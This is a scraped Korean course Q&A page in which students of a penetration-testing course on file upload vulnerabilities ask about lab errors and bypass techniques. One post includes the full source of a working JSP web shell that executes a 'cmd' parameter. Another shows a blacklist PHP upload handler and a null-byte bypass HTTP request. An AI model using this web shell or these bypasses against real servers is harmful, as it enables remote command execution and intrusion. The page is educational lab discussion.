월 17,600원
5개월 할부 시다른 수강생들이 자주 물어보는 질문이 궁금하신가요?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
upload_prob10 에러 문제
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. WEB-INF/web.xml을 알맞게 수정했는데 아래와 같은 오류가 발생했습니다. 확인 부탁드리겠습니다.!
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
톰캣 매니저
제가 돌리고 있는 메일서버를 점검하기 위해서 강의를 듣고 있는중입니다. 저의 경우 톰캣을 사용하고 있는데, 내부 호스트(127.0.0.1) 에서만 매니저 접근이 가능하고 , 그 외 내부 망(192.168.~.~/manager/html) 은 403 에러로 접근 권한에러가 뜹니다. 보통 톰캣매니저를 이용해서 공격을 하는거면 최소 내부망을 접근한 상태일 텐데, 실제 호스트 피시만 접속을 허용하고 나머지는 접속을 차단하는 형태로 configuration 을 하죠? (저의 경우는 따로 설정을 하지 않았는데도 기본적으로 그렇게 적용되어 있네요) 다른 호스트에서 접근할때는 403 에러가 발생하기 때문에 이 공격 방법은 사용하기가 많이 어렵다고 판단이 내려지는데 제가 생각하는게 맞을까요?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
업로드 경로가 이미지 or 파일서버일 경우 문의드립니다!
안녕하세요 현업에서 컨설팅을 하고있는 실무자입니다. 너무 좋은 강의 잘듣고 있습니다. 여쭤보고 싶은게 업로드 하면 경로가 도메인은 같지만 이미지나 파일서버로 경로출력이 되는 경우가 있습니다. ex) img1.xxx.com/notice/20220102/asasasasa/test.jpg 이렇게 아예 다른 이미지나 파일서버에서도 업로드시 웹루트 경로로 변경할수있다면 실행이 가능한건지 문의드립니다! 이런 서버들은 웹서버가 안돌아가고 그냥 저장소 역할만 하는것같기도 해서요. 추가로 part2 파일업로드 강의 너무 기다려집니다.....
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
system.getProperty("os.name").toLowerCase() 실행이 안됨
안녕하세요, 파일 업로드 강의를 수강하는 학생입니다. JSP 웹쉘 제작 중에 system.getProperty("os.name").toLowerCase() 구문을 넣으면 Http 500에러가 발생합니다. 어떻게 하면 조치를 할 수 있을지요?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
IIS 세미콜론 취약점 대응방안
IIS 세미콜론 취약점 대응방안중에 임의의 파일명과 검증된 확장자 바인딩이있다 하셨는데 정확히 어떻게 하는것인지 이해가 잘 되지않습니다ㅠ 예를들어서 좀더 설명해주실수있나요? 그리고 저렇게 하면 공격이 불가능하다고도 하셨는데 그것도 잘 이해가 되지 않네요 ㅠ 설명해주시면 감사하겠습니다!
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
jsp 환경에서도 널바이트 공격이 가능한가요?
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. c언어 환경에서 널바이트 공격을 한다고 하셨는데 jsp는 불가능 한가요?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
수업내용대로 진행했는데 적용이 안됩니다.
php 편에서는 잘만되었는데 이상하게 jsp에서만 막히네요 ㅎ
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
강의 내용 질문드립니다. (파일업로드 공격대상 탐색CASE(2)강의)
안녕하세요 좋은 강의 잘 듣고있습니다! 공격대상 탐색CASE(2)강의에서 Type3)WAS 관리자 콘솔 & 관리자 페이지 접근 부분을 설명하실때 궁금한점이 생겨서 질문드립니다. 첫번째 질문) 공격자가 ssh터널링을 이용해서 내부망에 있는 WAS관리자 콘솔 접근이 가능하다 하셨는데 웹서버내부망에 있는 서버와 방화벽에 ssh포트인 22번이 열려있다는 전제가 있어야하지 않나요? 두번째 질문) JEUS, Weblogic, WebSphere도 관리자 콘솔 접근이 필요한 경우가 있는데 그것은 내부침투할때이다라고 언급하셨는데 tomcat은 제외인것가요?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
[실습4-14] 이미지 검증 우회 실습(2)
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
%00 사용하면 오류 발생
<? header("Content-Type: text/html; charset=UTF-8"); $gubun = $_GET["gubun"]; if(empty($_FILES["userfile"]["name"])){#클라이언트에 존재하는 파일의 원래 이름 echo "<script>alert('파일을 업로드 하세요!');history.back(-1);</script>"; exit(); } $path = "./upload/"; $filename = $gubun."_".$_FILES["userfile"]["name"];#서버에 저장된 업로드된 파일의 임시 파일 이름 $file_info = pathinfo($path.$filename); $ext = strtolower($file_info["extension"]); $ext_arr = array("php", "html", ""); if(in_array($ext, $ext_arr)){#파일 이름에 "php", "php3", "php5", "html", "htm" 확장자가 포함되어 있으면 예외처리(블랙리스트) echo "<script>alert('허용되지 않은 확장자 입니다1.');history.back(-1);</script>"; exit(); } if(!move_uploaded_file($_FILES["userfile"]["tmp_name"], $path.$filename)){#$_FILES["userfile"]["tmp_name"](서버에 저장된 임시 파일)을 $path.$filename(업로드될 경로:upload/$filename)에 저장 echo "<script>alert('파일 업로드에 실패하였습니다.');history.back(-1);</script>"; exit(); } ?> <li>업로드 성공 : <?=$path.$filename?></li> ------------------------------------------------------------------------------------------------------------ POST /null_ex1/upload.php?gubun=aa.php%00 HTTP/1.1 Host: 127.0.0.1:81 Content-Length: 1588436 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFJAvtYdjVBOAe0Td User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1:81/null_ex1/index.php Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close ------WebKitFormBoundaryFJAvtYdjVBOAe0Td Content-Disposition: form-data; name="userfile"; filename="test.jpg" Content-Type: image/jpeg --------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Fri, 27 Aug 2021 15:23:45 GMT Server: Apache X-Frame-Options: SAMEORIGIN X-Powered-By: PHP/7.4.7 Vary: Accept-Encoding Content-Length: 282 Connection: close Content-Type: text/html; charset=UTF-8 <br /> <b>Warning</b>: move_uploaded_file() expects parameter 2 to be a valid path, string given in <b>C:\Bitnami\wampstack-7.4.7-0\apache2\htdocs\null_ex1\upload.php</b> on line <b>25</b><br /> <script>alert('파일 업로드에 실패하였습니다.');history.back(-1);</script>
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
JSP 한글 깨짐
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("EUC-KR"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=EUC-KR"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP ????????? ????? ?????:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VirtualBox Host-Only Network:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 ??? . . . . . . . . . : 192.168.56.1????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . :????? ????? Npcap Loopback Adapter:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::58f7:a775:f5e8:992%16??? ???? IPv4 ??? . . . . : 169.254.9.146????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? ???? ???? ????* 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :???? LAN ????? ???? ???? ????* 3:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . :????? ????? VMware Network Adapter VMnet1:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::f1ac:f03a:410c:dce8%8??? ???? IPv4 ??? . . . . : 169.254.220.232????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :????? ????? VMware Network Adapter VMnet8:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::3d53:cac6:432c:144d%14??? ???? IPv4 ??? . . . . : 169.254.20.77????? ????? . . . . . . . : 255.255.0.0?? ????????? . . . . . . :???? LAN ????? Wi-Fi:???? DNS ?????. . . . :???-???? IPv6 ??? . . . . : fe80::61d4:9204:78ca:69c%3IPv4 ??? . . . . . . . . . : 192.168.0.5????? ????? . . . . . . . : 255.255.255.0?? ????????? . . . . . . : 192.168.0.1????? ????? Bluetooth ?????? ???? 2:???? ???? . . . . . . . . : ???? ???? ???????? DNS ?????. . . . : <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import="java.io.*" %> <% request.setCharacterEncoding("UTF-8"); %> <!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Document</title> <style> table{ border: 1px solid black; background-color: black; } td{ color: white; font-size: 12px; } </style> </head> <body> <% String cmd = request.getParameter("cmd"); Process ps = null; BufferedReader br = null; String line = ""; String result = ""; String now_page = request.getServletPath(); try{ if(cmd != null){ ps = Runtime.getRuntime().exec(cmd); br = new BufferedReader(new InputStreamReader(ps.getInputStream())); while((line = br.readLine())!= null){ result += line + "<br>"; } ps.destroy(); } } finally{ if(br != null) br.close(); } %> <form action="<%=now_page%>" methoad="POST"> <input type="text" name="cmd"> <input type="submit" value="EXECUTE"> </form> <hr> <table> <tr> <td><%=result%></td> </tr> </table> </body> </html> Windows IP �����̴��� ����� �̴���:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VirtualBox Host-Only Network:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::d4ff:e196:65b7:8e31%12IPv4 �ּ� . . . . . . . . . : 192.168.56.1����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� Npcap Loopback Adapter:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::58f7:a775:f5e8:992%16�ڵ� ���� IPv4 �ּ� . . . . : 169.254.9.146����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� ���� ���� ����* 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :���� LAN ����� ���� ���� ����* 3:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . :�̴��� ����� VMware Network Adapter VMnet1:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::f1ac:f03a:410c:dce8%8�ڵ� ���� IPv4 �ּ� . . . . : 169.254.220.232����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :�̴��� ����� VMware Network Adapter VMnet8:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::3d53:cac6:432c:144d%14�ڵ� ���� IPv4 �ּ� . . . . : 169.254.20.77����� ����ũ . . . . . . . : 255.255.0.0�⺻ ����Ʈ���� . . . . . . :���� LAN ����� Wi-Fi:���Ằ DNS ���̻�. . . . :��ũ-���� IPv6 �ּ� . . . . : fe80::61d4:9204:78ca:69c%3IPv4 �ּ� . . . . . . . . . : 192.168.0.5����� ����ũ . . . . . . . : 255.255.255.0�⺻ ����Ʈ���� . . . . . . : 192.168.0.1�̴��� ����� Bluetooth ��Ʈ��ũ ���� 2:�̵�� ���� . . . . . . . . : �̵�� ���� �������Ằ DNS ���̻�. . . . : 한글이 깨집니다. 저번에 php때도 깨져서 EUC-KR로 바꾸니까 잘 해결됬는데 JSP는 해결이 안되네요.
- 해결됨모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
upload_prob10 설정 문제
HTTP 상태 500 – 내부 서버 오류 타입 예외 보고 메시지 행 [120]에서 [/index.jsp]을(를) 처리하는 중 예외 발생 설명 서버가, 해당 요청을 충족시키지 못하게 하는 예기치 않은 조건을 맞닥뜨렸습니다. 예외 org.apache.jasper.JasperException: 행 [120]에서 [/index.jsp]을(를) 처리하는 중 예외 발생 117: File FindDir = new File(RootPath); 118: 119: String[] FindFile = FindDir.list() ; 120: String[] FileArr = new String[FindFile.length] ; 121: 122: for (int i = 0; i < FindFile.length; i++) { 123: File fp = new File(FindDir + "/" + FindFile[i]) ; Stacktrace: org.apache.jasper.servlet.JspServletWrapper.handleJspException(JspServletWrapper.java:617) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:514) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:386) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:330) javax.servlet.http.HttpServlet.service(HttpServlet.java:741) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) 근본 원인 (root cause) java.lang.NullPointerException org.apache.jsp.index_jsp.DirectoryBrowser(index_jsp.java:37) org.apache.jsp.index_jsp._jspService(index_jsp.java:153) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:71) javax.servlet.http.HttpServlet.service(HttpServlet.java:741) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:386) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:330) javax.servlet.http.HttpServlet.service(HttpServlet.java:741) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) 비고 근본 원인(root cause)의 풀 스택 트레이스를, 서버 로그들에서 확인할 수 있습니다. Apache Tomcat/8.5.53 톰켓은 제대로 들어가지는데 마지막 실습 환경을 접속하려면 위 오류가 뜹니다.
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
system() 함수 결과값 한글 깨짐 현상
Windows IP ���� �̴��� ����� �̴���: �̵�� ���� . . . . . . . . : �̵�� ���� ���� ���Ằ DNS ���̻�. . . . : �̴��� ����� VirtualBox Host-Only Network: ���Ằ DNS ���̻�. . . . : ��ũ-���� IPv6 �ּ� . . . . : . . . �̴��� ����� Bluetooth ��Ʈ��ũ ���� 2: �̵�� ���� . . . . . . . . : �̵�� ���� ���� ���Ằ DNS ���̻�. . . . : 하이
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
JSP 오류 뜹니다.
아래에 있는 분하고 저도 똑같은 오류가 뜹니다. 톰캣 재가동 해도 안됩니다. lib폴더에 cos.jar 파일도 넣었습니다. HTTP 상태 500 – 내부 서버 오류 타입 예외 보고 메시지 JSP를 위한 클래스를 컴파일할 수 없습니다.: 설명 서버가, 해당 요청을 충족시키지 못하게 하는 예기치 않은 조건을 맞닥뜨렸습니다. 예외 org.apache.jasper.JasperException: JSP를 위한 클래스를 컴파일할 수 없습니다.: JSP 파일 [/upload.jsp]의 [7] 행에서 오류가 발생했습니다. The type javax.servlet.http.HttpServletRequest cannot be resolved. It is indirectly referenced from required .class files 4: <% 5: String path = request.getRealPath("upload"); 6: 7: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 8: %> JSP 파일 [/upload.jsp]의 [7] 행에서 오류가 발생했습니다. The type javax.servlet.ServletRequest cannot be resolved. It is indirectly referenced from required .class files 4: <% 5: String path = request.getRealPath("upload"); 6: 7: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 8: %> JSP 파일 [/upload.jsp]의 [7] 행에서 오류가 발생했습니다. The constructor MultipartRequest(HttpServletRequest, String) refers to the missing type HttpServletRequest 4: <% 5: String path = request.getRealPath("upload"); 6: 7: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 8: %> Stacktrace: org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:102) org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:213) org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:487) org.apache.jasper.compiler.Compiler.compile(Compiler.java:397) org.apache.jasper.compiler.Compiler.compile(Compiler.java:367) org.apache.jasper.compiler.Compiler.compile(Compiler.java:351) org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:603) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:399) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:380) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:328) jakarta.servlet.http.HttpServlet.service(HttpServlet.java:774) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) 비고 근본 원인(root cause)의 풀 스택 트레이스를, 서버 로그들에서 확인할 수 있습니다. Apache Tomcat/10.0.8 찾아보니까 cos.jar 경로를 못잡아주는거 같은데 이클립스는 경로 잡는 방법이 나와있는데 vscode에서는 어떻게 잡아야되는지 안나와있네요...
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
선생님 ㅠㅠ 안됩니다.
선생님 제가 지금 [실습2-2] "직접 제작하면서 배우는 JSP 기반의 파일 업로드 기능에 대한 이해" 이 부분을 공부하고 있는데 아파치 톰캣 폴더 안에 webapp 안에 Root 폴더에 index.jsp, upload.jsp 파일 둘 다 만들어서 선생님께서 강의해주신 그대로 코드를 작성하고 톰캣을 실행시켜서 127.0.0.1:8080에 접속해서 "파일 선택 선택된 파일 없음 upload"까지는 정상적으로 되었는데 그 이후에 파일을 선택하고 업로드 버튼을 누르면 "HTTP 상태 500 - 내부 서버 오류"가 발생합니다. 제가 upload.jsp에 작성한 코드는 <%@ page language="java" contentType="text/html; charset=UTF-8" %> <%@ page import="com.oreilly.servlet.MultipartRequest" %> <% String path = request.getRealPath("upload"); MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); String filename = path + "/" + multi.getFilesystemName("userfile"); %> <li>업로드 성공 : <%=filename%></li> 이것이고 "HTTP 상태 500- 내부 서버 오류"에 써 있던 문구는 org.apache.jasper.JasperException: JSP를 위한 클래스를 컴파일할 수 없습니다.: JSP 파일 [/upload.jsp]의 [6] 행에서 오류가 발생했습니다. The type javax.servlet.http.HttpServletRequest cannot be resolved. It is indirectly referenced from required .class files 3: <% 4: String path = request.getRealPath("upload"); 5: 6: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 7: String filename = path + "/" + multi.getFilesystemName("userfile"); 8: %> 9: JSP 파일 [/upload.jsp]의 [6] 행에서 오류가 발생했습니다. The type javax.servlet.ServletRequest cannot be resolved. It is indirectly referenced from required .class files 3: <% 4: String path = request.getRealPath("upload"); 5: 6: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 7: String filename = path + "/" + multi.getFilesystemName("userfile"); 8: %> 9: JSP 파일 [/upload.jsp]의 [6] 행에서 오류가 발생했습니다. The constructor MultipartRequest(HttpServletRequest, String) refers to the missing type HttpServletRequest 3: <% 4: String path = request.getRealPath("upload"); 5: 6: MultipartRequest multi = new MultipartRequest(request, path, 1024*10, "UTF-8"); 7: String filename = path + "/" + multi.getFilesystemName("userfile"); 8: %> 9: Stacktrace: org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:103) org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:213) org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:482) org.apache.jasper.compiler.Compiler.compile(Compiler.java:392) org.apache.jasper.compiler.Compiler.compile(Compiler.java:362) org.apache.jasper.compiler.Compiler.compile(Compiler.java:346) org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:603) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:400) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:379) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:327) jakarta.servlet.http.HttpServlet.service(HttpServlet.java:770) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) 이것입니다. 선생님께서 말씀하셨던 cos.jar 파일도 잘 아파치 톰캣 폴더 lib에 넣었는데 이럽니다 ㅠㅠ 저는 지금 비주얼 스튜디오 코드를 사용하고 있고 이클립스는 사용하지 않고 있습니다. 아파치 톰캣은 10버전을 사용하고 있고 JDK8버전을 사용하고 있습니다. PHP 기반의 파일은 정상적으로 잘 만들어지는데 JSP 기반의 파일은 안 만들어집니다. 검색을 해도 이클립스 어쩌구 저쩌구만 나오고 미치겠습니다. 6행에서 오류가 발생했다고 해서 계속 확인을 해봤는데 선생님께서 작성해주셨던 코드랑 다를 게 없었습니다. index.jsp 파일에 있는 코드들은 다 색깔이 들어가는데 이상하게 upload.jsp 파일에 있는 코드들은 다 색깔이 안 들어갑니다.
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
안녕하세요
똑같이 작성해서 했는데 업로드하라는 팝업이뜨면서 자꾸 업로드가 안되는것같습니다.
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
혹시 어떤 배포판인지 알 수 있을까요?
환경 구축해보려는데 어떤 배포판을 써야 가장 실무적인 환경인지 알고 싶습니다~ powerpc가 필요한 IBM linux, itanium이 필요한 HP-UX를 제외하면 PC에서의 선택권은 RHEL(CentOS)/solaris(ova) 밖에 없는것 같은데 어떤 선택지가 가장 좋을까요..? 아니면 그 외 선택지가 있으면 추천해 주시면 감사하겠습니다..!
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
웹쉘 난독화 강의
질문을 어디에 올려야될 지 모르겠어서 여기에 질문 드립니다 ! 올리신 강의 중 'Skill-Up! 웹쉘 탐지 솔루션 우회를 위한, 웹쉘 난독화 기법' 이라는 강의의 웹 쉘 난독화 기법 내용이랑 '모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1' 강의에서 배우는 웹쉘 난독화 내용이랑 차이가 많이 있나요 ?
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
파일 업로드 경로 변경 질문드립니다.
첨부된 사진과 같은 패킷에서는 업로드 경로 변경이 불가능한가요? 실무사례 10번처럼 구분자가 따로 존재하지도 않아서.. 어떤 방법이 있을까요? 업로드 경로 변경에 대한 실무 사례 강의가 더 많이 있었으면 좋겠습니다.
- 미해결모의해킹 실무자가 알려주는, 파일 업로드 취약점 공격 기법과 실무 사례 분석 : PART 1
질문드립니다,
안녕하세요 현업 새내기 2년차입니다 궁금한게 있어서 문의 드립니다. 1. 파일다운로드 취약점 및 업로드 취약점(.jsp) 2. 파일다운로드 취약점으로 proc/sef/enivor 가서 pwd를 똑같이 확인했는데 home/사용자명/javaHOme , xxx/xxx/jesushome 이런씩으로 나왔는데 업로드 경로를 어떻게 다시 찾아야 할까요? 이미지 주소 복사해서 올린 jsp 테스트는 해봤지만 404가 나왔습니다.